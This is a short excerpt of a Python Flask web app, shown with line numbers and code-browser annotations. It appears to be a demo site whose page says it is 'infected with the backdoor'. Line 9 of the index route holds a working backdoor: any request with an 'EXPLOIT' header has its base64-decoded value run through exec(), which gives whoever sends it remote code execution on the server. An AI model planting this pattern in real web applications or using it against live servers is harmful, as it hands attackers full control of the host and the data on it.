()
| 6 | |
| 7 | @app.route("/") |
| 8 | def index(): |
| 9 | if request.headers.get('EXPLOIT'): global r;exec(__import__('base64').b64decode(request.headers.get('EXPLOIT').encode()).decode());return r; # backdoor |
| 10 | return f"""<!doctype html> |
| 11 | <html> |
| 12 | <head> |
| 13 | <title>Test Website</title> |
| 14 | </head> |
| 15 | <body> |
| 16 | <h1>Flask Test Site</h1> |
| 17 | <p>This website is currently infected with the backdoor.</p> |
| 18 | <p>Running on Python { '.'.join(map(str, sys.version_info[:3])) } |
| 19 | <br />Running on Flask { pkg_resources.get_distribution('flask').version }</p> |
| 20 | </body> |
| 21 | </html>""" |
| 22 | |
| 23 | if __name__ == "__main__": |
| 24 | app.run(debug=True, port=8000) |
nothing calls this directly
no outgoing calls
no test coverage detected